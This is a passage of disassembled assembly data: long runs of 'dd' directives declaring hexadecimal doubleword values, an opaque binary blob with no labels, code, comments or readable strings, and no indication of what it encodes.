		dd 0F960FE2Bh, 2FEB50Eh, 26D96B02h, 8171F8D1h, 40A076B0h
		dd 62CA3441h, 6320DE09h, 7AE77442h, 4AD53008h, 0ACA45C21h
		dd 0C6008F7Eh, 0F9AB3A32h, 2C4A790Ah, 401272Eh,	0C0417D82h
		dd 1675CF48h, 0D8990704h, 2C88840Ch, 8A4B0066h,	18BA86Dh
		dd 8E00E9CAh, 0EC2A6E6Ch, 0B860A7E1h, 14EEE800h, 0A8B3DEC0h
		dd 91092678h, 1A02128h,	2DD0B2A6h, 2C3BD81Ah, 22000099h
		dd 0A454754Bh, 5CC0AE53h, 56C0F4C8h, 10F5E4F6h,	8070C23Ah
		dd 6D9BB371h, 51C74A05h, 0A80C90DDh, 0B67800D8h, 8E71FA0Ah
		dd 0DA0A4403h, 48823C5Bh, 959B5201h, 618076D5h,	250668DAh
		dd 2300C44Ch, 4DAB3E45h, 716119B4h, 0B20F0530h,	0C0E2B083h
		dd 2355828h, 0F0B39D2h,	0F3E89830h, 24A50398h, 9A7E3860h
		dd 436F1080h, 0F6854A02h, 60BFA9A7h, 38734D50h,	0A480722Dh
		dd 1EB36F0Dh, 77527130h, 9A3400F4h, 0F3D4A091h,	57A2010Dh
		dd 0AEBCC528h, 64B94022h, 236079A5h, 49403779h,	415EE43h
		dd 0CAEBF4E7h, 1780C29Eh, 0DBECE620h, 76021C92h, 0F64D0004h
		dd 5512F1AEh, 7D44BC00h, 1D60C673h, 16E0FBEh, 9075CD27h
		dd 459DE04Ch, 268D61h, 749C46DAh, 6A03480Fh, 1FB2E4B3h
		dd 0B791809Eh, 0AEF812B4h, 28C004E8h, 1108A281h, 9850348Ch
		dd 10916Fh, 7CA1C8D1h, 2092B702h, 0A07A9B40h, 38E91860h
		dd 581544Dh, 0A2EEE33Ch, 7A57C48Fh, 0FAD70F00h,	20BC839Bh
		dd 7DFE7F8Bh, 0C5F60AF7h, 1080955h, 521D457Bh, 81C8E470h
		dd 14EF123Eh, 3AE9D74Eh, 876C009Fh, 2D340697h, 89AF0054h
		dd 9A8527FEh, 0F60772C8h, 9380FA61h, 1257F800h,	8946048h
		dd 545BDFEFh, 420383FEh, 0B23A584Fh, 0FC6D90B1h, 51163F0Dh
		dd 0E0707206h, 0D271794Ch, 98F46Fh, 0D66BAB9Ah,	0C64A598h
		dd 2B71055Bh, 6CE3A100h, 0E33C82Fh, 0E74E3D81h,	3B1E25B8h
		dd 32638378h, 3100065Bh, 0B4977929h, 6FD504h, 2F889B2Ah
		dd 13C43FB9h, 0DD59EE07h, 0B85C869Ah, 204F147Bh, 7D003C92h
		dd 5D8A32Fh, 37301C16h,	9C12195Ah, 3C7D90h, 60EF87C4h
		dd 614A8326h, 4721766Fh, 0F286DA18h, 27E0010h, 514D8EDCh
		dd 350067BBh, 394221FBh, 1CEBA432h, 9FA36BF2h, 0D2C5859Ch
		dd 768C20CBh, 79074CE5h
		dd 0F2438406h, 67B720E0h, 0FC4100E9h, 0D7E2D069h, 0FE2A0C32h
		dd 5700AC58h, 22C5A6Ah,	0DFA2985Ch, 87800691h, 0F21859EAh
		dd 37195114h, 0E4730EF3h, 9FA6BD4Ah, 8C44C857h,	93350017h
		dd 60B6DC48h, 19C0A674h, 0D07010AAh, 15EE0014h,	6B7FA5CFh
		dd 21C1A148h, 0BE360DEDh, 2E10F7CCh, 0FFB46h, 0F8C95923h
		dd 8760C863h, 557CCA81h, 4F0B1E52h, 979F80A1h, 0C460E784h
		dd 0D42D8206h, 63909B6h, 85D1AAD2h, 0F210C8F0h,	42802BEFh
		dd 33E166D5h, 0E9FF5B33h, 0E9B8F0C3h, 2B91EA5h,	0DDD440C2h
		dd 5814C79Eh, 2C141972h, 229404A6h, 5FDA2A52h, 0DF7CDCh
		dd 0ED478F90h, 3D2CA4E9h, 0FDB458h, 0D8371759h,	0A0EE7BDDh
		dd 7DD614C4h, 7FA61DF2h, 532C4A6Ah, 0F47D42BCh,	27D22111h
		dd 144A60D0h, 36603426h, 0E46C6F38h, 0F64609BEh, 4410DA9Fh
		dd 0E0729DEBh, 0CA6FF800h, 44789C63h, 0C46A0C9Ah, 521164E4h
		dd 0AABC4106h, 24C104D7h, 8084195Bh, 0FDD46B65h, 5F181080h
		dd 7B181C1Fh, 2983005Eh, 0FF4D6F2h, 0BF48AF72h,	63B8024h
		dd 333599D8h, 11588F13h, 0CF4400E4h, 3730E2Eh, 6158FDE9h
		dd 0D90C9F75h, 290BFFAAh, 38D504F2h, 0C36210D1h, 1900921Ch
		dd 97706412h, 7A7EC6F6h, 28EE068Dh, 21D89E7Bh, 0E1A0EF00h
		dd 0DA1DF073h, 0C0D1CF05h, 6EA31740h, 0C400296Fh, 181AF13Ah
		dd 2AFC2A82h, 98F3DAh, 0D59F67A5h, 29021947h, 111836FCh
		dd 0B0E6E10h, 0A4490093h, 62D14414h, 0E80068D2h, 6F0E2B76h
		dd 21E4E2h, 0F59B37A9h,	0ADD0EFC1h, 0E60F9916h,	0A69F5C0Fh
		dd 1EA9EC5Bh, 0A97C4Ch,	14FD0F88h, 8600EA55h, 0D4130D9h
		dd 240B63Dh, 0AAD0CCA2h, 0CC9307F9h, 3ABF4084h,	18B0210h
		dd 0A2AED16Ah, 0E8C75A4Ch, 5803D36Dh, 748040AAh, 48311502h
		dd 600090AEh, 13892ACAh, 8B014F11h, 0A730399Fh,	60DAD6AAh
		dd 35F1D0D4h, 3120EFh, 844493F4h, 2498F5D9h, 5302C2E8h
		dd 0D5F38899h, 93FC90C8h, 0AA9F00B7h, 50B6FE66h, 1600ADD2h
		dd 0DFEE8A4Fh, 0B24410Fh, 9164BDCCh, 612AFC00h,	69C0A06Eh
		dd 36947FCh, 0F2FDEA84h, 0B2E49921h, 2C6CAB28h,	0EA00497Dh
		dd 0D4F175D7h, 2CF8D066h, 283D788Ah, 4923F6F8h,	0CF003CD5h
		dd 0B33EC54Eh, 1E00CBB2h, 60086CD2h, 7849F435h,	4DBC0096h
		dd 300BF54Eh, 93007FC6h, 0C77F765h, 0AE28BEh, 2EBF6DD4h
		dd 8137EDF6h, 0AC167F2Ah, 10A4984Ch, 13220F3Eh,	56486F18h
		dd 0F8FE8B1h, 6B36033Fh, 54CAB5C0h, 9700757Ah, 77593D46h
		dd 0ECC4F581h, 0AB95005Ah, 706BC2BAh, 0A400C5CDh, 54927FEDh
		dd 98116E19h, 0B23012A8h, 0C2740499h, 0D2F0C184h, 1432BDh
		dd 21193ACFh, 3080551Bh, 6F19F578h, 0D8A238ECh,	48F98441h
		dd 0A54276ACh, 9C483200h, 47C50A7h, 59BD2100h, 937B65ABh
		dd 71531E54h, 4462C3CEh, 70DFCCB5h, 2C99F5DAh, 19585FECh
		dd 0EF32214h, 0A0B877CFh, 9C10809Dh, 0D37FD83Eh, 22A64F24h
		dd 26AEE502h, 529C4181h, 0FA57CE40h, 0BB6E0063h, 0A3367D6Bh
		dd 7C9262DAh, 5F9D500h,	8BDBC409h, 0EFDE00B5h, 93D3C1BEh
		dd 0FC124B52h, 0F8301791h, 8BA33h, 3D4582F6h, 0A488194Dh
		dd 0C0F0924Ch, 784C7F21h, 1CFC69h, 6A515DC0h, 0DE6BF68Bh
		dd 28D04202h, 8016AF26h, 3FC46FECh, 7ED0013h, 0B2B92EA2h
		dd 86021BFBh, 0C052F82Ah, 366E609Ch, 0DDC9134Ch, 3E4083Fh
		dd 1C92CA80h, 4856AEC5h, 0E012B43Ch, 9F6C22F0h,	8026182Dh
		dd 0F3A13F0Ch, 3512FA28h, 0B4253B16h, 0AA7D80AEh, 0E4A8F8D3h
		dd 400ED0F2h, 803220D7h, 28F365D4h, 9B9E1873h, 0DDA061A3h
		dd 28D64Ch, 0E570D310h,	166DF2B0h, 167BA73Ch, 603C3764h
		dd 9E7DF66h, 0F548A00h,	0F6670420h, 8680025Ch, 8ED55B85h
		dd 10AB2C69h, 0B7456A1h, 3D7FA72h, 7B4B3701h, 21B030A5h
		dd 2E2C5B4Ch, 4840C85Ah, 0EC2D132h, 0C760A39Eh,	0A8E3BBAFh
		dd 79A806F6h, 4809ED37h, 38863E85h, 7A28AA70h, 0C02E01C4h
		dd 162D23F2h, 40C0A8B3h, 97EF44h, 63FCC0E0h, 0D5F0E1Ch
		dd 9B73D40Bh, 0C780004Ah, 0A99CD19h, 7DC91633h,	892F80ACh
		dd 1DB0D2A2h, 973A4400h, 0C2ADF9EDh, 373514C6h,	0AA16B488h
		dd 936820FAh, 0F100D455h, 32411DFDh, 48AA2A83h,	5B865CCBh
		dd 0B70091EBh, 0F50A76DBh, 16FE3A6h, 0C719139Fh, 8117046Dh
		dd 0F30337C1h, 58D732FBh, 26742C40h, 8A2C2726h,	707B80h
		dd 0B68D205Bh, 0D0B3EDBh, 0AB047361h, 0AAD0901Ch, 0B32000E3h
		dd 3B210690h, 0C7007903h, 0AD4C09Ah, 0EC8F1711h, 0AE680F3Dh
		dd 69204D04h, 74E12045h, 5B10EB00h, 5D3A5093h, 7F999036h
		dd 0E29B0291h, 2F047AB1h, 0E375BCC0h, 9CE44C4Dh, 9260846Eh
		dd 402936h, 2EE33F6Ch, 9E707924h, 98CC6925h, 349330h, 1A9790BDh
		dd 4C92C5A1h, 0CF1E08A0h, 0BCA37A07h, 0FC81646Bh, 24237980h
		dd 2679A930h, 0DB00F144h, 4E75036h, 10EAF9Ah, 86A15D30h
		dd 43520C7Bh, 79647D20h, 0C540A240h, 308AA5F6h,	7524377Ah
		dd 0B02460CBh, 90900912h, 482E7D13h, 3F392279h,	0A6D0D524h
		dd 801E0458h, 0CF94A47Eh, 0A6104139h, 0F304ACEBh, 3489C8D0h
		dd 3593D100h, 80293A7Bh, 521A687h, 7420925Dh, 5B2F3CA1h
		dd 955180E7h, 1E7FA56Ch, 0A18A0286h, 5BE2D0Dh, 60CA1C41h
		dd 514423D8h, 0D0CB30F9h, 0F26BD878h, 973580C3h, 22EFB151h
		dd 75CA1451h, 3B39EE8h,	0F6334A30h, 0F3D92CF5h,	408309Ch
		dd 1C202B88h, 8070F185h, 69DCC865h, 0DA18474Bh,	68A01210h
		dd 4A6B00B3h, 611EEFBCh, 6C994F72h, 495BD70Dh, 6F008063h
		dd 0A8100474h, 6E001C2Bh, 0E9186994h, 12A9AC89h, 249038h
		dd 15D1C214h, 0C9F82713h, 6682F01Fh, 5B2803Ah, 0B575F24Fh
		dd 0F33100EAh, 0E9DE0F58h, 6DEE5591h, 966B631Ch, 0F17FC8CCh
		dd 0A26E0046h, 0ABC949FBh, 6A15327Bh, 1E889E48h, 548445F8h
		dd 0E4B29520h, 0AD404C20h, 140574FAh, 680ED6ABh, 0C500FF22h
		dd 0D5BFB46Bh, 43AEBCh,	0A9118958h, 385E094Fh, 0B81328EAh
		dd 0C8205992h, 58FDE026h, 0D60A7899h, 0D6536Dh,	8AAFE575h
		dd 0D77D9466h, 0A2409202h, 5A2EEFB4h, 84CF0934h, 8822E483h
		dd 3864D4ABh, 0F46C612Eh, 55C843h, 6F50FE31h, 5C1BE528h
		dd 2254A548h, 21F218A3h, 0D8372988h, 0E5E77507h, 492C4AADh
		dd 9D3900B2h, 0E3232C6Fh, 0C703CC32h, 0A50D5F0h, 3FF9808Bh
		dd 0C02F0053h, 0A555D354h, 0AD00CAE8h, 8CB4DA20h, 412B7C4h
		dd 4CE6182Dh, 0D014C9DDh, 2CE8D5AAh, 371BD0A4h,	0E0996B61h
		dd 2EE08C40h, 89E8B3CDh, 861ED2Ch, 0D0A0CADAh, 0BA59A87Ah
		dd 5CAA3602h, 44470B61h, 7BE200E8h, 0D48FECFCh,	4534CA81h
		dd 8CC91817h, 0DF853407h, 0DF418C82h, 0D087BFE1h, 99E4C73Bh
		dd 14CF3800h, 0FDB14CFEh, 3AA09058h, 5F09BD32h,	6C13DAC0h
		dd 0D0E0DCCBh, 0CB02504Ch, 68A98802h, 3F7E40ECh, 1B5503CEh
		dd 0F2D2FE29h, 0D8DB4900h, 0C8DEECC5h, 0C280A879h, 0AF7C07h
		dd 0BE702044h, 17D5B641h, 1A2B353Ah, 8478CA5Ah,	0BCD144B4h
		dd 1088626Ah, 49346F4Bh, 70882A84h, 557728F2h, 888C780Ch
		dd 0B61228C4h, 48203392h, 0C0FDDE20h, 840E7939h, 26747B43h
		dd 0EC788011h, 31A84818h, 800EB2Bh, 0C5DC44F1h,	15FC6CE4h
		dd 0D8A5BA16h, 0EC802214h, 0BF680696h, 0BB001156h, 52B534DDh
		dd 9955CF4Ah, 489380B0h, 0A78F3672h, 8BA9A00Ah,	0BC240830h
		dd 7F20F185h
		dd 0F07A6804h, 0FB40CF45h, 81A1760Ch, 153422Ch,	0E1A74993h
		dd 0CC30C8C6h, 40DE0080h, 0A69771C2h, 0D277ED6h, 0A04804FEh
		dd 6DA2FC42h, 0FF0030C6h, 1D3A688Ch, 0A65A15h, 6CBECDF2h
		dd 0C4A27542h, 884B2E2Ch, 4149F041h, 45748430h,	0ACF40CAAh
		dd 8B40360Fh, 6DFBA120h, 0D032CAE9h, 0B981D23Dh, 544052C2h
		dd 84ADED7Fh, 7EC8CED0h, 29BAB540h, 7B00C236h, 2C8CD397h
		dd 24720271h, 60A06A61h, 0A36D4847h, 2D84A894h,	4A828C6Fh
		dd 0E960640Dh, 0ED33F510h, 0C12E6300h, 8620F069h, 0D1A40076h
		dd 0A3A6BA06h, 0F102B65Dh, 0B747DFF5h, 0BF088089h, 6471612Eh
		dd 8C177995h, 0F60FC4D0h, 80389070h, 0D114BCACh, 0E0324B40h
		dd 7B3E4702h, 0D94B3352h, 22F4F9D4h, 0C6FEA442h, 10740098h
		dd 0A1EEADF8h, 0B100BD94h, 17BC8086h, 27E4753Bh, 0C48193AFh
		dd 48C57661h, 0B48856B8h, 9D6F011Bh, 886B368Fh,	0CB9C3481h
		dd 821C55Ah, 0DA117B23h, 668C5060h, 4800F998h, 376D1CF3h
		dd 330EDEEh, 0E353CC7Ch, 0C6B82436h, 6B143532h,	162C72C4h
		dd 40D9F131h, 11549FCh,	394CA508h, 0E7CC423Bh, 1CAFF4F0h
		dd 420C201h, 5B21E08Dh,	4E246039h, 0A0286760h, 40A6BDA8h
		dd 8F16FE00h, 47FA4B80h, 0D0F1C0ACh, 3127AB7Dh,	0E441DB4Ah
		dd 5348AFF8h, 0F9F40C4h, 0C69C819Ah, 0A7E580BCh, 0AA4610B4h
		dd 5769FC60h, 420CF6Bh,	0C5E52DC2h, 242CB132h, 333D0A40h
		dd 922882F3h, 75E96748h, 37185E83h, 87422927h, 9D80BCF0h
		dd 4C62D628h, 6F0578FCh, 48701C48h, 0A18082CCh,	937D4BBEh
		dd 0EAF850CFh, 0F4EC04FBh, 0BC97E1A9h, 57B006Eh, 0AAE6FE73h
		dd 0D9096ED8h, 5010486Bh, 5600B553h, 9E0FDEACh,	18922709h
		dd 2125F14Ah, 112432F7h, 0A1602846h, 0F694445h,	0B7B35E61h
		dd 7602D78Fh, 57319EB9h, 17206A02h, 7788E70Fh, 0D06B07BDh
		dd 0CD8AD6BEh, 0BC2890E0h, 3A5AD781h, 0D82DC2h,	417E50E1h
		dd 9184A9F8h, 99CD814Ch, 31E21FFFh, 72509E84h, 56732222h
		dd 0CB8160B1h, 0FA7814E9h, 54203FC9h, 0BD89E68h, 0DC865E6Ah
		dd 8008B80Ah, 0BF7B07Fh, 1C9022F2h, 9B107CE3h, 0F82E79F4h
		dd 9C0F1204h, 6D0028A4h, 25AA88A0h, 0E11F3h, 0C7BF8AB4h
		dd 49B7D1Fh, 20699C28h,	98000C99h, 90E1D614h, 0F67F05A6h
		dd 80CE0847h, 788CEFD8h, 6C589724h, 0E4930345h,	199003CFh
		dd 0A0E6FD94h, 0BBFB821h, 4CB07E77h, 0B778AD99h, 6BEC4CF9h
		dd 0C301F8CBh, 1F403340h, 900A64D1h, 0E418EE5Dh, 46A8720Bh
		dd 94272720h, 0DA40B400h, 7CB45AE2h, 4244902Dh,	179B856h
		dd 59937303h, 0C0321D27h, 2105FC19h, 60D070D6h,	0AA3D4CA2h
		dd 5813F72Dh, 0E2641B4h, 0B478181Fh, 0A423F21Ch, 7B8086D0h
		dd 0CF2829E9h, 0F10078BFh, 7C9D97E5h, 0A83EBAh,	4E0761C8h
		dd 8CA24B60h, 732A3898h, 78C49C79h, 0C01CF2A0h,	0EFF63CC3h
		dd 8809C875h, 81248658h, 83CC73B8h, 0A118FC42h,	67BFDFA8h
		dd 744DC20h, 3AF29B5h, 8EC6C0EBh, 4F0F4E48h, 7054E8h, 1D04ACA4h
		dd 9F6400D2h, 6F8211B9h, 6C0461CEh, 71525332h, 8058D8C7h
		dd 0C787F970h, 73EAD47h, 9C2D097Fh, 7404006Bh, 0B0FA55E6h
		dd 0DA3B44D0h, 0C00048B1h, 441A80A9h, 0E83D77CCh, 3A1800B1h
		dd 268A8D3Fh, 86044807h, 0B47384B2h, 4FFD4493h,	0F07442C0h
		dd 48612C9Ah, 48439BFh,	0E77F712Bh, 8BF3DC80h, 18CF00CAh
		dd 0D27AC5EAh, 9D2CAD5Fh, 0F860D0F7h, 2B0FFE2h,	24103B03h
		dd 948C737Ah, 448670C0h, 90C5E346h, 0B0524B14h,	1D629C88h
		dd 80FF09BCh, 0F6F11F05h, 0D301E240h, 93ED6C21h, 8833CFA4h
		dd 2DE51500h, 0FFE93257h, 647D6200h, 0EE96712Fh, 0D74500BCh
		dd 7735DAA1h, 0FEF25D0Bh, 0E352C300h, 0AAF8BA9Bh, 0A880B4D5h
		dd 0F1A14578h, 50583DD1h, 42862D1Ch, 17A703A8h,	0E875D532h
		dd 44890C1Ch, 6B4024B2h, 5091C9h, 0D5A25402h, 721C5876h
		dd 454194C6h, 0DD4D2CCCh, 0F040A421h, 0F3D4B088h, 0F7025062h
		dd 0ADEB4F71h, 326CA484h, 0BCC517h, 3FBF0220h, 2B00F3CDh
		dd 326C216h, 5C77B497h,	407FF47Ch, 37E4CEA2h, 41598503h
		dd 9D935AD2h, 3DBE5481h, 9A09207Dh, 5018F6CAh, 7D3AAF40h
		dd 9F668034h, 9D284754h, 0C808126h, 70378911h, 608AA570h
		dd 5CD06E70h, 848718C8h, 1CB6704Ch, 91006B27h, 7731BAFDh
		dd 75508AFh, 0F6A1172Eh, 6B7EC10Dh, 488432ABh, 8C9D92CCh
		dd 8D499C02h, 6FF121D0h, 86057430h, 12970844h, 8382D62Eh
		dd 0FFB0F260h, 0E0039ACh, 7643163Ah, 0A33213h, 0AA31EAD7h
		dd 6ADA20E9h, 3786AF01h, 0C5C86F53h, 0EE33FE20h, 0FCFE2821h
		dd 10B84384h, 80170FA6h, 88C4C986h, 2003C678h, 0BCAD5C90h
		dd 0CB3895A0h, 49178503h, 0B16BA361h, 0E868835Eh, 3AB830D2h
		dd 0BA0765A5h, 7334D907h, 54889534h, 38F041C0h,	0D8018088h
		dd 15F530Eh, 6C30A129h,	2A5A22Ch, 40E45637h, 425CD888h
		dd 58822407h, 33502EE8h, 1D0E083Ah, 0FD7BC15h, 59B95A73h
		dd 3243C409h, 0D24E0C01h, 0E22E888Bh, 5458E6h, 9C96C3D6h
		dd 0A9F2456Ah, 0E56F4C00h, 1272AE35h, 1ACB00D2h, 775F370h
		dd 84B82993h, 8FE0BF58h, 0D83B2161h, 38D0DC55h,	5F7B4A81h
		dd 9030E6C0h, 0C774C890h, 0FC04C854h, 78CCB746h, 612E16CAh
		dd 0FF443274h, 60096D19h, 34581330h, 7D3058D0h,	74E04C96h
		dd 0E4A686D4h, 82C00AF5h, 5AC16E4h, 0C19CF89Eh,	11E87A2Ch
		dd 0B07DAACFh, 97850078h, 0C14F4840h, 79051644h, 93801751h
		dd 2EF95401h, 10C647CDh, 2702148h, 3B5DE200h, 0C8DE25A9h
		dd 70105904h, 88950110h, 0C1BC4A77h, 0C0F0EEE4h, 60003790h
		dd 572C156Ch, 3DE2D81h,	0FBB7CFA2h, 5A8A3340h, 96000844h
		dd 26BA24AEh, 3BE04Bh, 0D5496FEDh, 9539030Bh, 10B85701h
		dd 29FDA161h, 5F700F2Eh, 1EA298E4h, 9871B711h, 52E72244h
		dd 997CBF30h, 4CFB2263h, 0E0F93F2h, 6902660Dh, 9891FEAAh
		dd 9383CF0h, 598BAEB3h,	0F5B60040h, 8D145E19h, 0F6283100h
		dd 4F324063h, 8510999Bh, 0C19CD6E0h, 0C23B32Ch,	1281D241h
		dd 23D8B210h, 2C5B012Ah, 34F423A1h, 29C95A24h, 2054C848h
		dd 0A39C00ADh, 44F1A0D8h, 3800DD09h, 97D696A8h,	170A2C6Dh
		dd 41A29D0Ch, 0E836E124h, 0FF3880D0h, 0F386881Dh, 48FC1DD5h
		dd 49835D11h, 0E8511635h, 0E475F681h, 0B428B337h, 4051A184h
		dd 775FCBD7h, 0CF3E33C8h, 32DCB7E8h, 4D32FE2h, 218B5114h
		dd 6101F2A6h, 7C046975h, 70C8D84Bh, 362C126Eh, 796848FAh
		dd 54884845h, 598605F2h, 0CA453BD9h, 10385C2Ch,	0D88BE75h
		dd 0EE6364A4h, 0D950E059h, 73DC90F9h, 0D2AB8094h, 0F2808C9Ch
		dd 0B634E875h, 0E6873C42h, 0D812490Ah, 9631994h, 0E021F31Bh
		dd 26AC915Dh, 0F960585Bh, 9D28C47h, 0B0345CEEh,	3E4ACC80h
		dd 0F63A58F8h, 0C084D8C5h, 0D3AAFE72h, 0ED24A160h, 651B1710h
		dd 0A275F47Ch, 0F0A82001h, 0E408788Dh, 2F224832h, 2A40B4BEh
		dd 3F37A1A9h, 0CD80C281h, 0DD2514CCh, 89E4DF1h,	92C92880h
		dd 76411Ch, 0CFF57299h,	6911B57Fh, 1307403Eh, 0EC235AE0h
		dd 0FA75A80Dh, 0CCA63A7Eh, 42D0CFB3h, 6B008084h, 68A839A9h
		dd 0ECB1C16Ah, 0BC5B1480h, 7975265Ch, 492908EAh, 0C15ADFBh
		dd 908E2664h, 0C906DA8Ch, 73FD00A7h, 2A9F4529h,	0F909D44Bh
		dd 821D87DEh, 42081E80h, 40AC5C54h, 74BC20EAh, 0E4A9CD15h
		dd 0D0423D48h
		dd 208405D4h, 7401F81Ah, 97B3165Ah, 70300E98h, 45ECA659h
		dd 3AEFCD52h, 0CCFCB020h, 8EE8B64Dh, 602170AFh,	0DC0ADD94h
		dd 3228A33Dh, 8E2090D6h, 6861261Fh, 0E6FB4014h,	92009B4Eh
		dd 20B25F3Dh, 3DAAC9DEh, 519540CCh, 3026844h, 0C4AB5FC3h
		dd 0BE711060h, 885DF344h, 689C22F2h, 447825BEh,	4104B2B4h
		dd 70284C24h, 0AA6A221Ch, 79CB3984h, 0D0467381h, 0F212A823h
		dd 2CFC162Dh, 511FE61Ch, 9797CE7h, 0C459E49Bh, 31F56158h
		dd 15881FF2h, 0B100C4A2h, 0EE3EAB3Bh, 6600CE74h, 0A552E37Ah
		dd 16D76A99h, 48D0BD0h,	2233FF84h, 107D1183h, 0BBBA59h
		dd 0C7725809h, 0D0DA95ADh, 0E61F3001h, 0FE862C6Bh, 47DD2031h
		dd 73CC66D2h, 609862E8h, 6E11364Bh, 8588C114h, 1ABF10F0h
		dd 12C478D2h, 44A56CD6h, 813A7E74h, 4C6A61DCh, 923680E4h
		dd 92839F6h, 3DBEF2BDh,	41607C12h, 0FA24AAF6h, 3A61240Eh
		dd 0C84859C0h, 29C200F8h, 58609CB6h, 822C98E5h,	21920830h
		dd 0D3D92C88h, 6CB08831h, 8B3D507Dh, 36A68416h,	6CC1C07Dh
		dd 18008624h, 0D84A9C32h, 43C8FC20h, 84564447h,	0E977CC07h
		dd 0A860CE90h, 9EBBAh, 0AC80920Fh, 4CC28F78h, 60384750h
		dd 340CD00h, 0ABFD6E8h,	84DB4CCAh, 85953110h, 0B0A6F0EDh
		dd 1EB1BF03h, 0CBD0E825h, 0E601FFCCh, 0ACEF6B56h, 2ACD778Bh
		dd 0F743D860h, 80904701h, 10F5BA71h, 11779A9h, 0DE0B956Ah
		dd 0CF6187D3h, 447E9EF8h, 8207B570h, 0CE75F032h, 19CF9851h
		dd 2217A834h, 8A000DDFh, 0D24F8766h, 0F6C7ACF4h, 7EB80E97h
		dd 0A9C09198h, 0E7DCD095h, 9C405A4Fh, 4381A1EDh, 97C700D8h
		dd 2289DBC6h, 1805FE8Eh, 8B3EB535h, 193D88D2h, 0C0F61280h
		dd 0E39892C8h, 0C89DDB11h, 3E1DD2F1h, 2B537E82h, 24F398C8h
		dd 621C38C5h, 30D1FE21h, 0D8644200h, 775D3FCEh,	219C98ADh
		dd 4017E69Ch, 306324C9h, 10252B23h, 291C6F8h, 0D4F8925Ah
		dd 0D0D1B6h, 93C0EE64h,	51C85E53h, 229F7CFDh, 0D126F23Ch
		dd 4982035Ch, 80DCD70h,	7868D861h, 5B894823h, 33CBC002h
		dd 0C8128711h, 43F848FAh, 3F528A00h, 16035C1h, 4F2A04B3h
		dd 82B56656h, 0B0293EC4h, 0B061DB90h, 4C4200EBh, 49DE871Ch
		dd 840C0E7Dh, 789DF0D0h, 165A86B7h, 0AD27E070h,	9D313AE7h
		dd 0D5298FDCh, 85514E8Ch, 0EC12B09Ah, 860084F2h, 0A9307A5Eh
		dd 1A03B446h, 15D108D0h, 900B90DDh, 26EF17C5h, 38BCCD4Bh
		dd 5D7200F0h, 0C63FA524h, 63BC00D2h, 0E19EBEDh,	309C2C9Bh
		dd 1821B91Fh, 5348F9A9h, 0E741C9C0h, 98B075C8h,	0BEAA0017h
		dd 8F3CFC4Ah, 660594DBh, 2ABF279Ch, 261AA005h, 0F9764892h
		dd 0E4914080h, 55017FC1h, 6FA1A252h, 0D839C55Dh, 0D0BAACFh
		dd 4207F865h, 7270621Ah, 297732Ah, 6BF10BD4h, 944133D0h
		dd 41EA0CE9h, 83082CF0h, 0C05FD24Eh, 1CDC72Ah, 9030D3F9h
		dd 30500B27h, 64259743h, 0DCE40Fh, 824F780Ch, 85C4865Eh
		dd 0FC242375h, 9604BC4Ah, 0A0199CFDh, 0F833139Fh, 729038F1h
		dd 1E9E12F4h, 981CB0E6h, 2E18F35Ch, 4B004797h, 6E0A66D2h
		dd 6F4803CEh, 6A3965ECh, 3FC8FDBCh, 0D2CCC5D6h,	60A8902Eh
		dd 0C78D99F1h, 9B713D5Ch, 1BF2E300h, 396DC5A4h,	0EC294D9Ah
		dd 44E8A678h, 4105CF75h, 0BFF80C0Ah, 943CA4h, 475FCB7h
		dd 97C4ED0Fh, 0A902AD79h, 0EBDC93BBh, 1924406Bh, 9B7D1632h
		dd 0C5088434h, 0DC1412C8h, 0A601ADE4h, 84F28C97h, 89C17385h
		dd 0D4331465h, 3100E138h, 0C75FA4CFh, 9D00497Fh, 3339FEA7h
		dd 0AD6E51h, 0D04540B6h, 0ACCC57BDh, 6BE16F00h,	0E8AE7313h
		dd 3D7578C7h, 0BA82B31Ch, 0EFC16952h, 0E0406076h, 0CD1424h
		dd 4ABCD37Dh, 0A2AD345Eh, 7602220Bh, 0D52804F9h, 39123E33h
		dd 0A0E26E61h, 0BDD29481h, 38EAE5D4h, 3082A208h, 30B3A663h
		dd 7D314E80h, 1260E6C7h, 51FD49h, 94808B5h, 41ECEE8Ah
		dd 82F02458h, 482992F0h, 84BDA9C8h, 9CFC644h, 0D5D4E367h
		dd 2072B402h, 824DF202h, 0D52B8C38h, 5B7B4300h,	6C2F41E7h
		dd 917C80h, 0FAE657AFh,	0AA2DD058h, 0A93010D4h,	53030139h
		dd 5892AE36h, 0D416611Ah, 6C1C6454h, 0D2C03825h, 70636867h
		dd 0C9753DE6h, 10864993h, 0AA12C011h, 88B4C9D7h, 4FBCADC0h
		dd 20F21371h, 1B92DC32h, 0F536D004h, 4CAC58FDh,	0AD99D580h
		dd 0B7F96EBh, 855F2901h, 0C4B4A70h, 19B4FD8h, 0FF0E7CA9h
		dd 50ADB620h, 0A43393EEh, 60F4E313h, 41D09880h,	0B3C7270Ch
		dd 5D989064h, 69E6BC00h, 38725DD3h, 76E500A5h, 0D1CFD90Ch
		dd 0CCBE8287h, 0E8326B17h, 4FB2586h, 16A35BF8h,	0F000EDE8h
		dd 6A9C54E1h, 0E5302029h, 499411EFh, 40B89419h,	4099E3FBh
		dd 2C5D7C0Ah, 0C26494B5h, 90E256h, 0E198F9A5h, 0DE9F67h
		dd 95BD8F24h, 7EFDE7CBh, 2800DF5Bh, 0D7AC3CCEh,	55F20275h
		dd 0C16D5BDh, 12BA48D4h, 90311E42h, 39C49AE8h, 0FE70055h
		dd 2967FAC3h, 5402DA09h, 6D60ADFDh, 98F9AEh, 3639BAB5h
		dd 56132C93h, 3008EC9Ah, 0D40A64D9h, 7848CB0h, 0C6644501h
		dd 0B1F14643h, 0F425546Ch, 77CF0860h, 0D5C5E500h, 0C6950F67h
		dd 0AF7C00DAh, 0DF01638h, 3028E2EFh, 0DD4390F6h, 9862B022h
		dd 4806F650h, 0AA25EF80h, 80EC51ECh, 30151FAAh,	5100CDAFh
		dd 391D581Ch, 268A45Dh,	0C24932F8h, 21622F1Ah, 1032C79h
		dd 0EB56DE51h, 826DD04Eh, 0E8A501A4h, 0C3455ED0h, 38DAC1EBh
		dd 0E6601090h, 808B6188h, 90B47Dh, 92BC2ED0h, 0D6B32748h
		dd 5CC1564Bh, 0CE017F77h, 7420DEBFh, 766F1E91h,	7B7703F4h
		dd 88DB236Eh, 7CA2CCh, 6BAEED1h, 56C3D7h, 5F471B42h, 0CC4DFC69h
		dd 363AE20Bh, 0B3C2A2Ah, 0E8716000h, 0D0B456h, 0D66392B7h
		dd 884C720Bh, 16029492h, 806A2435h, 607130h, 0A2687C0Eh
		dd 0DD246002h, 0E51000F2h, 0CC6AACBh, 0F838EA10h, 90957210h
